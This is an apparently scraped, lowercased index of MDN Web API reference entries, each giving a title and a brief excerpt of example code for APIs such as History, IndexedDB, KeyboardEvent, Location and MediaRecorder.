example creating an empty headers object is simple: var myheaders = new headers(); // currently empty you could add a header to this using headers.append, then retrieve it using getall(): myheaders.append('content-type', 'image/jpeg'); myheaders.getall('content-type'); // returns [ "image/jpeg" ] if the header has multiple values associated with it, the array will contain all the values, in the order they were added to the headers object: myheaders.append('accept-encoding', 'deflate'); myheaders.append('accept-encoding', 'gzip'); myheaders.getall('accept-encoding'); // returns [ "deflate", "gzip" ] note: use headers.get to return only the first value added to the headers...
History.back() - Web APIs
WebAPIHistoryback
html <button id="go-back">go back!</button> javascript document.getelementbyid('go-back').addeventlistener('click', () => { history.back(); }); specifications specification status comment html living standardthe definition of 'history.back()' in that specification.
History.state - Web APIs
WebAPIHistorystate
// should be null because we haven't modified the history stack yet console.log(`history.state before pushstate: ${history.state}`); // now push something on the stack history.pushstate({name: 'example'}, "pushstate example", 'page3.html'); // now state has a value.
History API - Web APIs
window.onpopstate = function(event) { alert(`location: ${document.location}, state: ${json.stringify(event.state)}`) } history.pushstate({page: 1}, "title 1", "?page=1") history.pushstate({page: 2}, "title 2", "?page=2") history.replacestate({page: 3}, "title 3", "?page=3") history.back() // alerts "location: http://example.com/example.html?page=1, state: {"page":1}" history.back() // alerts "location: http://example.com/example.html, state: null" history.go(2) // alerts "location: http://example.com/example.html?page=3, state: {"page":3}" s...
HkdfParams - Web APIs
the hkdf specification states that adding salt "adds significantly to the strength of hkdf".
IDBCursor.advance() - Web APIs
WebAPIIDBCursoradvance
for a complete working example, see our idbcursor example (view example live.) function advanceresult() { list.innerhtml = ''; var transaction = db.transaction(['rushalbumlist'], "readonly"); var objectstore = transaction.objectstore('rushalbumlist'); objectstore.opencursor().onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = '<strong>' + cursor.value.albumtitle + '</strong>, ' + cursor.value.year; list.appendchild(listitem); cursor.advance(2); ...
IDBCursor.continue() - Web APIs
for a complete working example, see our idbcursor example (view example live.) function displaydata() { var transaction = db.transaction(['rushalbumlist'], "readonly"); var objectstore = transaction.objectstore('rushalbumlist'); objectstore.opencursor().onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = cursor.value.albumtitle + ', ' + cursor.value.year; list.appendchild(listitem); cursor.continue(); } else { cons...
IDBCursor.continuePrimaryKey() - Web APIs
example here’s how you can resume an iteration of all articles tagged with "javascript" since your last visit: let request = articlestore.index("tag").opencursor(); let count = 0; let unreadlist = []; request.onsuccess = (event) => { let cursor = event.target.result; if (!cursor) { return; } let lastprimarykey = getlastiteratedarticleid(); if (lastprimarykey > cursor.primarykey) { cursor.continueprimarykey("javascript", lastprimarykey); return...
IDBCursor.delete() - Web APIs
WebAPIIDBCursordelete
if the albumtitle of the current cursor is "grace under pressure", we delete that entire record using var request = cursor.delete();.
IDBCursor.key - Web APIs
WebAPIIDBCursorkey
for a complete working example, see our idbcursor example (view example live.) function displaydata() { var transaction = db.transaction(['rushalbumlist'], "readonly"); var objectstore = transaction.objectstore('rushalbumlist'); objectstore.opencursor().onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = cursor.value.albumtitle + ', ' + cursor.value.year; list.appendchild(listitem); console.log(cursor.key); cursor.cont...
IDBCursor.primaryKey - Web APIs
for a complete working example, see our idbcursor example (view example live.) function displaydata() { var transaction = db.transaction(['rushalbumlist'], "readonly"); var objectstore = transaction.objectstore('rushalbumlist'); objectstore.opencursor().onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = cursor.value.albumtitle + ', ' + cursor.value.year; list.appendchild(listitem); console.log(cursor.primarykey); curs...
IDBCursor.update() - Web APIs
WebAPIIDBCursorupdate
if the albumtitle of the current cursor is "a farewell to kings", we update year the album was released using var request = cursor.update();.
IDBCursorWithValue.value - Web APIs
for a complete working example, see our idbcursor example (view example live.) function displaydata() { var transaction = db.transaction(['rushalbumlist'], "readonly"); var objectstore = transaction.objectstore('rushalbumlist'); objectstore.opencursor().onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = cursor.value.albumtitle + ', ' + cursor.value.year; list.appendchild(listitem); console.log(cursor.value); cursor.co...
IDBDatabase.deleteObjectStore() - Web APIs
example var dbname = "sampledb"; var dbversion = 2; var request = indexeddb.open(dbname, dbversion); request.onupgradeneeded = function(e) { var db = request.result; if (e.oldversion < 1) { db.createobjectstore("store1"); } if (e.oldversion < 2) { db.deleteobjectstore("store1"); db.createobjectstore("store2"); } // etc.
IDBDatabase.objectStoreNames - Web APIs
example // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); // these two event handlers act on the database being opened successfully, or not dbopenrequest.onerror = function(event) { note.innerhtml += '<li>error loading database.</li>'; }; dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
IDBDatabase.onclose - Web APIs
example db.onclose = function(event) { myappshowalert('the database "' + db.name + '" has unexpectedly closed.'); }; specifications specification status comment indexed database api draftthe definition of 'onclose' in that specification.
IDBEnvironment - Web APIs
example the following code creates a request for a database to be opened asychronously, after which the database is opened when the request's onsuccess handler is fired: var db; function opendb() { var dbopenrequest = window.indexeddb.open("todolist"); dbopenrequest.onsuccess = function(e) { db = dbopenrequest.result; }; } browser compatibility the compatibility table on this page is generated from structured data.
IDBFactory.cmp() - Web APIs
WebAPIIDBFactorycmp
example var a = 1; var b = 2; var result = window.indexeddb.cmp(a, b); console.log( "comparison results: " + result ); specifications specification status comment indexed database api 2.0the definition of 'cmp()' in that specification.
IDBFactory.deleteDatabase() - Web APIs
example var dbdeleterequest = window.indexeddb.deletedatabase("todolist"); dbdeleterequest.onerror = function(event) { console.log("error deleting database."); }; dbdeleterequest.onsuccess = function(event) { console.log("database deleted successfully"); console.log(event.result); // should be undefined }; specifications specification status comment indexed database api draftthe definition of 'deletedatabase()' in that...
IDBIndex.locale - Web APIs
WebAPIIDBIndexlocale
the locale read-only property of the idbindex interface returns the locale of the index (for example en-us, or pl) if it had a locale value specified upon its creation (see createindex()'s optionalparameters.) note that this property always returns the current locale being used in this index, in other words, it never returns "auto".
IDBIndex.name - Web APIs
WebAPIIDBIndexname
you can only rename indexes during upgrade transactions; that is, when the mode is "versionchange".
IDBIndex.objectStore - Web APIs
the current object store is logged to the console: it should be returned something like this: idbobjectstore { name: "contactslist", keypath: "id", indexnames: domstringlist[7], transaction: idbtransaction, autoincrement: false } finally, we iterate through each record, and insert the data into an html table.
IDBLocaleAwareKeyRange - Web APIs
examples function displaydata() { var keyrangevalue = idblocaleawarekeyrange.bound("a", "f"); var transaction = db.transaction(['fthings'], 'readonly'); var objectstore = transaction.objectstore('fthings'); var myindex = objectstore.index('lname'); myindex.opencursor(keyrangevalue).onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var tablerow = document.createelement('tr'); tablerow.innerhtml = '&lt;td&gt;' + cursor.valu...
IDBVersionChangeEvent.oldVersion - Web APIs
example var dbname = "sampledb"; var dbversion = 2; var request = indexeddb.open(dbname, dbversion); request.onupgradeneeded = function(e) { var db = request.result; if (e.oldversion < 1) { db.createobjectstore("store1"); } if (e.oldversion < 2) { db.deleteobjectstore("store1"); db.createobjectstore("store2"); } // etc.
IIRFilterNode.getFrequencyResponse() - Web APIs
myfrequencyarray[0] = 1000; myfrequencyarray[1] = 2000; myfrequencyarray[2] = 3000; myfrequencyarray[3] = 4000; myfrequencyarray[4] = 5000; var magresponseoutput = new float32array(5); var phaseresponseoutput = new float32array(5); next we create a <ul> element in our html to contain our results, and grab a reference to it in our javascript: <p>iir filter frequency response for: </p> <ul class="freq-response-output"> </ul> var freqresponseoutput = document.queryselector('.freq-response-output'); finally, after creating our filter, we use getfrequencyresponse() to generate the response data and put it in our arrays, then loop through each data set and output them in a human-readable list at the bottom of the page: var feedforwardcoefficients = [0.1, 0.2, 0.3, 0.4, 0.5]; var feedbackcoe...
IIRFilterNode - Web APIs
number of inputs 1 number of outputs 1 channel count mode "max" channel count same as on the input channel interpretation "speakers" typically, it's best to use the biquadfilternode interface to implement higher-order filters.
ImageBitmapRenderingContext.transferFromImageBitmap() - Web APIs
examples html <canvas id="htmlcanvas"></canvas> javascript var htmlcanvas = document.getelementbyid("htmlcanvas").getcontext("bitmaprenderer"); // draw a webgl scene offscreen var offscreen = new offscreencanvas(256, 256); var gl = offscreen.getcontext("webgl"); // ...
ImageBitmapRenderingContext - Web APIs
its context id (the first argument to htmlcanvaselement.getcontext() or offscreencanvas.getcontext()) is "bitmaprenderer".
ImageCapture.getPhotoCapabilities() - Web APIs
const input = document.queryselector('input[type="range"]'); var imagecapture; navigator.mediadevices.getusermedia({video: true}) .then(mediastream => { document.queryselector('video').srcobject = mediastream; const track = mediastream.getvideotracks()[0]; imagecapture = new imagecapture(track); return imagecapture.getphotocapabilities(); }) .then(photocapabilities => { const settings = imagecapture.track.getsettings(); input.min...
ImageCapture.takePhoto() - Web APIs
the available options are: filllightmode: the flash setting of the capture device, one of "auto", "off", or "flash".
ImageData() - Web APIs
html <canvas id="canvas"></canvas> javascript the array (arr) has a length of 40000: it consists of 10,000 pixels, each of which is defined by 4 values.
ImageData.data - Web APIs
WebAPIImageDatadata
html <canvas id="canvas"></canvas> javascript since each pixel consists of four values within the data array, the for loop iterates by multiples of four.
firesTouchEvents - Web APIs
syntax var boolean = inputdevicecapabilities.firestouchevents returns a boolean example mybutton.addeventlistener('mousedown', function(e) { if (!e.sourcecapabilities.firestouchevents) mybutton.classlist.add("pressed"); }); specifications specification status comment inputdevicecapabilitiesthe definition of 'firetouchevents' in that specification.
InputDeviceCapabilities API - Web APIs
if (!e.sourcecapabilities.firestouchevents) mybutton.classlist.add("pressed"); }); interfaces inputdevicecapabilities provides logical information about an input device.
InputEvent.data - Web APIs
WebAPIInputEventdata
<p>some text to copy and paste.</p> <input type="text"> <p class="result"></p> var editable = document.queryselector('input') var result = document.queryselector('.result'); editable.addeventlistener('input', (e) => { result.textcontent = "inputted text: " + e.data; }); specifications specification status comment input events level 2the definition of 'data' in that specification.
InputEvent.dataTransfer - Web APIs
<p><span style="font-weight: bold; color: blue">whoa, bold blue text!</span></p> <p><span style="font-style: italic; color: red">exciting: italic red text!</span></p> <p>boring normal text ;-(</p> <hr> <p contenteditable="true">go on, try pasting some content into this editable paragraph and see what happens!</p> <p class="result"></p> var editable = document.queryselector('p[contenteditable]'); var result = ...
InputEvent.inputType - Web APIs
html <p id="log">input type: </p> <div contenteditable="true" style="margin: 20px;padding: 20px;border:2px dashed red;"> <p>some sample text.
enabled - Web APIs
example the following code uses the startsoftwareupdate method to unconditionally trigger a download from http://royalairways/royalpkg.xpi as long as software installation is enabled on the browser: if (installtrigger.enabled() ) { installtrigger.startsoftwareupdate ("http://royalair.com/rasoft.xpi"); } ...
install - Web APIs
example function xpinstallcallback(url, status) { if (status == 0) msg = "xpinstall test: passed\n"; else msg = "xpinstall test: failed\n"; dump(msg); alert(msg); } xpi={'xpinstall pre-checkin test':'pre_checkin.xpi'}; installtrigger.install(xpi,xpinstallcallback); ...
InstallTrigger - Web APIs
in either case, you must trigger the installation process by creating a web page script in which installtrigger methods download the specified xpi file and "trigger" the execution of the install.js script at the top level of that xpi.
IntersectionObserver.IntersectionObserver() - Web APIs
the default is "0px 0px 0px 0px".
IntersectionObserver.root - Web APIs
observer.root.style.border = "2px solid #44aa44"; specifications specification status comment intersection observerthe definition of 'intersectionobserver' in that specification.
IntersectionObserver.rootMargin - Web APIs
the browser is permitted to alter the values if rootmargin isn't specified when the object was instantiated, it defaults to the string "0px 0px 0px 0px", meaning that the intersection will be computed between the root element's unmodified bounds rectangle and the target's bounds.
IntersectionObserver - Web APIs
the default is "0px 0px 0px 0px".
KeyboardEvent.altKey - Web APIs
syntax var altkeypressed = instanceofkeyboardevent.altkey return value boolean examples <html> <head> <title>altkey example</title> <script type="text/javascript"> function showchar(e){ alert( "key keydown: " + string.fromcharcode(e.charcode) + "\n" + "charcode: " + e.charcode + "\n" + "alt key keydown: " + e.altkey + "\n" ); } </script> </head> <body onkeydown="showchar(event);"> <p> press any character key, with or without holding down the alt key.<br /> you can also use the shift key together with the alt key.
KeyboardEvent.charCode - Web APIs
example html <p>type anything into the input box below to log a <code>charcode</code>.</p> <input type="text" /> <p id="log"></p> javascript let input = document.queryselector('input'); let log = document.queryselector('#log'); input.addeventlistener('keypress', function(e) { log.innertext = `key pressed: ${string.fromcharcode(e.charcode)}\ncharcode: ${e.charcode}`; }); result notes in a keypress event, the unicode value of the key pressed is stored in either the keycode or charcode prop...
KeyboardEvent.ctrlKey - Web APIs
syntax var ctrlkeypressed = instanceofkeyboardevent.ctrlkey return value a boolean example <html> <head> <title>ctrlkey example</title> <script type="text/javascript"> function showchar(e){ alert( "key pressed: " + e.key + "\n" + "ctrl key pressed: " + e.ctrlkey + "\n" ); } </script> </head> <body onkeypress="showchar(event);"> <p>press any character key, with or without holding down the ctrl key.<br /> you can also use the shift key together with the ctrl key.</p> </body> </html> specifications specification status comment document object model (dom) level 3 events specificationthe defin...
KeyboardEvent.initKeyboardEvent() - Web APIs
for example, specifying "control shift" indicates that the user was holding down the control and shift keys when pressing the key described by the event.
KeyboardEvent.isComposing - Web APIs
syntax var bool = event.iscomposing; example var kbdevent = new keyboardevent("synthetickey", false); console.log(kbdevent.iscomposing); // return false specifications specification status comment ui eventsthe definition of 'keyboardevent.prototype.iscomposing' in that specification.
KeyboardEvent.keyIdentifier - Web APIs
the deprecated keyboardevent.keyidentifier read-only property returns a "key identifier" string that can be used to determine what key was pressed.
KeyboardEvent.location - Web APIs
syntax var location = event.location; example function keyevent(event) { console.log("location of key pressed: " + event.location); } specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'keyboardevent.location' in that specification.
KeyboardEvent.shiftKey - Web APIs
syntax var shiftkeypressed = instanceofkeyboardevent.shiftkey return value a boolean example <html> <head> <title>shiftkey example</title> <script type="text/javascript"> function showchar(e){ alert( "key pressed: " + string.fromcharcode(e.charcode) + "\n" + "charcode: " + e.charcode + "\n" + "shift key pressed: " + e.shiftkey + "\n" + "alt key pressed: " + e.altkey + "\n" ); } </script> </head> <body onkeypress="showchar(event);"> <p>press any character key, with or without holding down the shift key.<br /> you can also use the shift key together with the alt key.</p> </body> </html> specifications ...
LinearAccelerationSensor.x - Web APIs
let lasensor = new linearaccelerationsensor({frequency: 60}); lasensor.addeventlistener('reading', e => { console.log("linear acceleration along the x-axis " + lasensor.x); console.log("linear acceleration along the y-axis " + lasensor.y); console.log("linear acceleration along the z-axis " + lasensor.z); }); lasensor.start(); specifications specification status comment generic sensor api candidate recommendation defines sensors in general.
LinearAccelerationSensor.y - Web APIs
let lasensor = new linearaccelerationsensor({frequency: 60}); lasensor.addeventlistener('reading', e => { console.log("linear acceleration along the x-axis " + lasensor.x); console.log("linear acceleration along the y-axis " + lasensor.y); console.log("linear acceleration along the z-axis " + lasensor.z); }); lasensor.start(); specifications specification status comment generic sensor api candidate recommendation defines sensors in general.
LinearAccelerationSensor.z - Web APIs
let lasensor = new linearaccelerationsensor({frequency: 60}); lasensor.addeventlistener('reading', e => { console.log("linear acceleration along the x-axis " + lasensor.x); console.log("linear acceleration along the y-axis " + lasensor.y); console.log("linear acceleration along the z-axis " + lasensor.z); }); lasensor.start(); specifications specification status comment generic sensor api candidate recommendation defines sensors in general.
LinearAccelerationSensor - Web APIs
let lasensor = new linearaccelerationsensor({frequency: 60}); lasensor.addeventlistener('reading', e => { console.log("linear acceleration along the x-axis " + lasensor.x); console.log("linear acceleration along the y-axis " + lasensor.y); console.log("linear acceleration along the z-axis " + lasensor.z); }); lasensor.start(); specifications specification status comment generic sensor api candidate recommendation defines sensors in general.
LocalFileSystem - Web APIs
please contribute data for "api.localfilesystem" (depth: 1) to the mdn compatibility data repository.
LocalFileSystemSync - Web APIs
please contribute data for "api.localfilesystemsync" (depth: 1) to the mdn compatibility data repository.
Location: assign() - Web APIs
WebAPILocationassign
after the navigation occurs, the user can navigate back to the page that called location.assign() by pressing the "back" button.
Location: host - Web APIs
WebAPILocationhost
syntax string = object.host; object.host = string; examples var anchor = document.createelement("a"); anchor.href = "https://developer.mozilla.org/location.host" anchor.host == "developer.mozilla.org" anchor.href = "https://developer.mozilla.org:443/location.host" anchor.host == "developer.mozilla.org" // the port number is not included because 443 is the scheme's default port anchor.href = "https://developer.mozilla.org:4097/location.host" anchor.host == "developer.mozilla.org:4097" specifications specification status comment html living standardthe definition of 'host' in that...
Location: hostname - Web APIs
WebAPILocationhostname
syntax string = object.hostname; object.hostname = string; examples // let's an <a id="myanchor" href="https://developer.mozilla.org/docs/location.hostname"> element be in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.hostname; // returns:'developer.mozilla.org' specifications specification status comment html living standardthe definition of 'hostname' in that specification.
Location: href - Web APIs
WebAPILocationhref
syntax string = object.href; object.href = string; examples // lets imagine an <a id="myanchor" href="https://developer.mozilla.org/location/href"> element is in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.href; // returns: 'https://developer.mozilla.org/location/href' specifications specification status comment html living standardthe definition of 'href' in that specification.
Location: origin - Web APIs
WebAPILocationorigin
e.g "blob:https://mozilla.org" will have "https://mozilla.org".
Location: password - Web APIs
WebAPILocationpassword
syntax string = object.password; object.password = string; examples // let's <a id="myanchor" href="https://anonymous:flabada@developer.mozilla.org/docs/location.username"> be in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.password; // returns:'flabada' ...
Location: pathname - Web APIs
WebAPILocationpathname
syntax string = object.pathname; object.pathname = string; examples // let's an <a id="myanchor" href="https://developer.mozilla.org/docs/location.pathname"> element be in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.pathname; // returns:'/docs/location.pathname' specifications specification status comment html living standardthe definition of 'pathname' in that specification.
Location: port - Web APIs
WebAPILocationport
syntax string = object.port; object.port = string; examples // let's an <a id="myanchor" href="https://developer.mozilla.org:443/docs/location.port"> element be in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.port; // returns:'443' specifications specification status comment html living standardthe definition of 'location.port' in that specification.
Location: protocol - Web APIs
WebAPILocationprotocol
syntax string = object.protocol; object.protocol = string; examples // let's an <a id="myanchor" href="https://developer.mozilla.org/location.protocol"> element be in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.protocol; // returns:'https:' specifications specification status comment html living standardthe definition of 'protocol' in that specification.
Location: search - Web APIs
WebAPILocationsearch
syntax string = object.search; object.search = string; examples // let an <a id="myanchor" href="https://developer.mozilla.org/docs/location.search?q=123"> element be in the document var anchor = document.getelementbyid("myanchor"); var querystring = anchor.search; // returns:'?q=123' // further parsing: let params = new urlsearchparams(querystring); let q = parseint(params.get("q")); // is the number 123 specifications specification status comment html living sta...
Location: toString() - Web APIs
WebAPILocationtoString
syntax string = object.tostring(); examples // let's imagine an <a id="myanchor" href="https://developer.mozilla.org/docs/location/tostring"> element is in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.tostring(); // returns: 'https://developer.mozilla.org/docs/location/tostring' specifications specification status comment html living standard living standard ...
Location: username - Web APIs
WebAPILocationusername
syntax string = object.username; object.username = string; examples // let's <a id="myanchor" href="https://anonymous:flabada@developer.mozilla.org/docs/location.username"> be in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.username; // returns:'anonymous' ...
MIDIConnectionEvent - Web APIs
properties midiconnectionevent.port returns a reference to a midiport instance for a port that has been connected or disconnected." examples specifications specification status comment web midi api working draft initial definition.
MSCandidateWindowHide - Web APIs
syntax event property object.oncandidatewindowhide = handler; addeventlistener method object.addeventlistener("mscandidatewindowhide", handler, usecapture) nbsp; parameters pevtobj [in] type: ihtmleventobj pointer to an ihtmleventobj interface for the current event.
MSCandidateWindowUpdate - Web APIs
syntax event property object.oncandidatewindowupdate = handler; addeventlistener method object.addeventlistener("mscandidatewindowupdate", handler, usecapture) parameters pevtobj [in] type: ihtmleventobj pointer to an ihtmleventobj interface for the current event.
Magnetometer.x - Web APIs
WebAPIMagnetometerx
let magsensor = new magnetometer({frequency: 60}); magsensor.addeventlistener('reading', e => { console.log("magnetic field along the x-axis " + magsensor.x); console.log("magnetic field along the y-axis " + magsensor.y); console.log("magnetic field along the z-axis " + magsensor.z); }); magsensor.start(); specifications specification status comment generic sensor api candidate recommendation defines sensors in general.
Magnetometer.y - Web APIs
WebAPIMagnetometery
let magsensor = new magnetometer({frequency: 60}); magsensor.addeventlistener('reading', e => { console.log("magnetic field along the x-axis " + magsensor.x); console.log("magnetic field along the y-axis " + magsensor.y); console.log("magnetic field along the z-axis " + magsensor.z); }); magsensor.start(); specifications specification status comment generic sensor api candidate recommendation defines sensors in general.
Magnetometer.z - Web APIs
WebAPIMagnetometerz
let magsensor = new magnetometer({frequency: 60}); magsensor.addeventlistener('reading', e => { console.log("magnetic field along the x-axis " + magsensor.x); console.log("magnetic field along the y-axis " + magsensor.y); console.log("magnetic field along the z-axis " + magsensor.z); }); magsensor.start(); specifications specification status comment generic sensor api candidate recommendation defines sensors in general.
Magnetometer - Web APIs
let magsensor = new magnetometer({frequency: 60}); magsensor.addeventlistener('reading', e => { console.log("magnetic field along the x-axis " + magsensor.x); console.log("magnetic field along the y-axis " + magsensor.y); console.log("magnetic field along the z-axis " + magsensor.z); }); magsensor.start(); specifications specification status comment generic sensor api candidate recommendation defines sensors in general.
MathMLElement - Web APIs
properties this interface has no properties, but inherits properties from: documentandelementeventhandlers, element, elementcssinlinestyle, globaleventhandlers, htmlorforeignelement methods this interface has no methods, but inherits methods from: documentandelementeventhandlers, element, elementcssinlinestyle, globaleventhandlers, htmlorforeignelement examples mathml <math xmlns="http://www.w3.org/1998/math/mathml"> <msqrt> <mi>x</mi> </msqrt> </math> javascript document.queryselector('msqrt').constructor.name; // mathmlelement specifications specification status comment mathmlelement interface ...
MediaCapabilities.decodingInfo() - Web APIs
example //create media configuration to be tested const mediaconfig = { type : 'file', // or 'media-source' audio : { contenttype : "audio/ogg", // valid content type channels : 2, // audio channels used by the track bitrate : 132700, // number of bits used to encode 1s of audio samplerate : 5200 // number of audio samples making up that 1s.
MediaCapabilities.encodingInfo() - Web APIs
example //create media configuration to be tested const mediaconfig = { type : 'record', // or 'transmission' video : { contenttype : "video/webm;codecs=vp8.0", // valid content type width : 1920, // width of the video height : 1080, // height of the video bitrate : 120000, // number of bits used to encode 1s of video framerate : 48 // number of frames making up that 1s.
MediaCapabilitiesInfo - Web APIs
example // mediaconfiguration to be tested const mediaconfig = { type : 'file', audio : { contenttype : "audio/ogg", channels : 2, bitrate : 132700, samplerate : 5200 }, }; // check support and performance navigator.mediacapabilities.decodinginfo(mediaconfig).then(result => { // result contains the media capabilities information console.log('this configuration is ' + (result.supported ?
MediaDecodingConfiguration - Web APIs
examples //create media configuration to be tested const mediaconfig = { type : 'file', // or 'media-source' video : { contenttype : "video/webm;codecs=vp8", // valid content type width : 800, // width of the video height : 600, // height of the video bitrate : 10000, // number of bits used to encode 1s of video framerate : 30 // number of frames making up that 1s.
MediaDeviceInfo.kind - Web APIs
the kind readonly property of the mediadeviceinfo interface returns an enumerated value, that is either "videoinput", "audioinput" or "audiooutput".
MediaDevices.getDisplayMedia() - Web APIs
async function startcapture(displaymediaoptions) { let capturestream = null; try { capturestream = await navigator.mediadevices.getdisplaymedia(displaymediaoptions); } catch(err) { console.error("error: " + err); } return capturestream; } this uses await to asynchronously wait for getdisplaymedia() to resolve with a mediastream which contains the display contents as requested by the specified options.
MediaEncodingConfiguration - Web APIs
examples //create media configuration to be tested const mediaconfig = { type : 'record', // or 'transmission' video : { contenttype : "video/webm;codecs=vp8", // valid content type width : 800, // width of the video height : 600, // height of the video bitrate : 10000, // number of bits used to encode 1s of video framerate : 30 // number of frames making up that 1s.
MediaError.code - Web APIs
WebAPIMediaErrorcode
the error handler simply outputs a message var obj = document.createelement('video'); obj.onerror = function() {console.log("error with media: " + obj.error.code);} obj.src="https://example.com/blahblah.mp4"; specifications specification status comment html living standardthe definition of 'mediaerror.code' in that specification.
msExtendedCode - Web APIs
example var video1 = object.getelementbyid("video1"); video1.addeventlistener('error', function () { var error = video1.error.msextendedcode; //...
MediaError - Web APIs
if no diagnostics are available, or no explanation can be provided, this value is an empty string ("").
MediaList.mediaText - Web APIs
the value will be set to "".
MediaMetadata.MediaMetadata() - Web APIs
example the following example creates a new media session and assigns action handlers to it: if ('mediasession' in navigator){ navigator.mediasession.metadata = new mediametadata({ title: "podcast episode title", artist: "podcast host", album: "podcast name", artwork: [{src: "podcast.jpg"}] }); navigator.mediasession.setactionhandler('play', function() {}); navigator.mediasession.setactionhandler('pause', function() {}); navigator.mediasession.setactionhandler('seekbackward', function() {}); navigator.mediasession.setactionhandler('seekforward', function() {});...
MediaQueryList.matches - Web APIs
examples this example detects viewport orientation changes by creating a media query using the orientation media feature: function addmqlistener(mq, callback) { if (mq.addeventlistener) { mq.addeventlistener("change", callback); } else { mq.addlistener(callback); } } addmqlistener(window.matchmedia("(orientation:landscape)"), event => { if (event.matches) { /* now in landscape orientation */ } else { /* now in portrait orientation */ } } ); specifications specification status comment css object model (cssom) view modulethe definition o...
MediaQueryList.onchange - Web APIs
}; example var mql = window.matchmedia('(max-width: 600px)'); mql.addeventlistener( "change", (e) => { if (e.matches) { /* the viewport is 600 pixels wide or less */ console.log('this is a narrow screen — less than 600px wide.') } else { /* the viewport is more than than 600 pixels wide */ console.log('this is a wide screen — more than 600px wide.') } }) specifications specification status comment css object model (cssom)...
MediaRecorder.ondataavailable - Web APIs
var chunks = []; mediarecorder.onstop = function(e) { console.log("data available after mediarecorder.stop() called."); var audio = document.createelement('audio'); audio.controls = true; var blob = new blob(chunks, { 'type' : 'audio/ogg; codecs=opus' }); var audiourl = window.url.createobjecturl(blob); audio.src = audiourl; console.log("recorder stopped"); } mediarecorder.ondataavailable = function(e) { chunks.push(e.data); } ...
MediaRecorder.onpause - Web APIs
pause.onclick = function() { if(mediarecorder.state === "recording") { mediarecorder.pause(); // recording paused } else if(mediarecorder.state === "paused") { mediarecorder.resume(); // resume recording } } mediarecorder.onpause = function() { // do something in response to // recording being paused } mediarecorder.onresume = function() { // do something in response to // recording being resumed...
MediaRecorder.onresume - Web APIs
pause.onclick = function() { if(mediarecorder.state === "recording") { mediarecorder.pause(); // recording paused } else if(mediarecorder.state === "paused") { mediarecorder.resume(); // resume recording } } mediarecorder.onpause = function() { // do something in response to // recording being paused } mediarecorder.onresume = function() { // do something in response to // recording being resumed...
MediaRecorder.onstart - Web APIs
record.onclick = function() { mediarecorder.start(); console.log("recorder started"); } mediarecorder.onstart = function() { // do something in response to // recording being started } ...
MediaRecorder.onstop - Web APIs
mediarecorder.onstop = function(e) { console.log("data available after mediarecorder.stop() called."); var audio = document.createelement('audio'); audio.controls = true; var blob = new blob(chunks, { 'type' : 'audio/ogg; codecs=opus' }); var audiourl = window.url.createobjecturl(blob); audio.src = audiourl; console.log("recorder stopped"); } mediarecorder.ondataavailable = function(e) { chunks.push(e.data); } ...
MediaRecorder.onwarning - Web APIs
mediarecorder.onwarning = function(e) { console.log("a warning has been raised: " + e.message); } ...
MediaRecorder.start() - Web APIs
record.onclick = function() { mediarecorder.start(); console.log("recorder started"); } ...
MediaRecorder.state - Web APIs
record.onclick = function() { mediarecorder.start(); console.log(mediarecorder.state); // will return "recording" console.log("recorder started"); } ...
MediaSession.metadata - Web APIs
example the following example creates a new media session and assigns action handlers to it: if ('mediasession' in navigator){ navigator.mediasession.metadata = new mediametadata({ title: "podcast episode title", artist: "podcast host", album: "podcast name", artwork: [{src: "podcast.jpg"}] }); navigator.mediasession.setactionhandler('play', function() {}); navigator.mediasession.setactionhandler('pause', function() {}); navigator.mediasession.setactionhandler('seekbackward', function() {}); navigator.mediasession.setactionhandler('seekforward', function() {});...
MediaSession.playbackState - Web APIs
example the following example sets up event handlers, for pausing and playing: var audio = document.queryselector("#player"); audio.src = "song.mp3"; navigator.mediasession.setactionhandler('play', play); navigator.mediasession.setactionhandler('pause', pause); function play() { audio.play(); navigator.mediasession.playbackstate = "playing"; } function pause() { audio.pause(); navigator.mediasession.playbackstate = "paused"; } specifications specification status comment ...
MediaSessionActionDetails.seekTime - Web APIs
usage notes to perform a "fast" seek (such as when issuing multiple seekto actions in sequence while handling a scrubbing operation, the details object's fastseek property's value is set to true, indicating that you should minimize or eliminate anything you do while handling the action that is only necessary at the final step.
MediaSettingsRange - Web APIs
const input = document.queryselector('input[type="range"]'); var imagecapture; navigator.mediadevices.getusermedia({video: true}) .then(mediastream => { document.queryselector('video').srcobject = mediastream; const track = mediastream.getvideotracks()[0]; imagecapture = new imagecapture(track); return imagecapture.getphotocapabilities(); }) .then(photocapabilities => { const settings = imagecapture.track.getsettings(); input.min...
MediaSource.MediaSource() - Web APIs
example the following snippet is taken from a simple example written by nick desaulniers (view the full demo live, or download the source for further investigation.) var video = document.queryselector('video'); var asseturl = 'frag_bunny.mp4'; // need to be specific for blink regarding codecs // ./mp4info frag_bunny.mp4 | grep codec var mimecodec = 'video/mp4; codecs="avc1.42e01e, mp4a.40.2"'; if ('mediasource' in window && mediasource.istypesupported(mimecodec)) { var mediasource = new mediasource; //console.log(mediasource.readystate); // closed video.src = url.createobjecturl(mediasource); mediasource.addeventlistener('sourceopen', sourceopen); } else { console.error('unsupported mime type or codec: ', mimecodec); } ...
MediaSource.endOfStream() - Web APIs
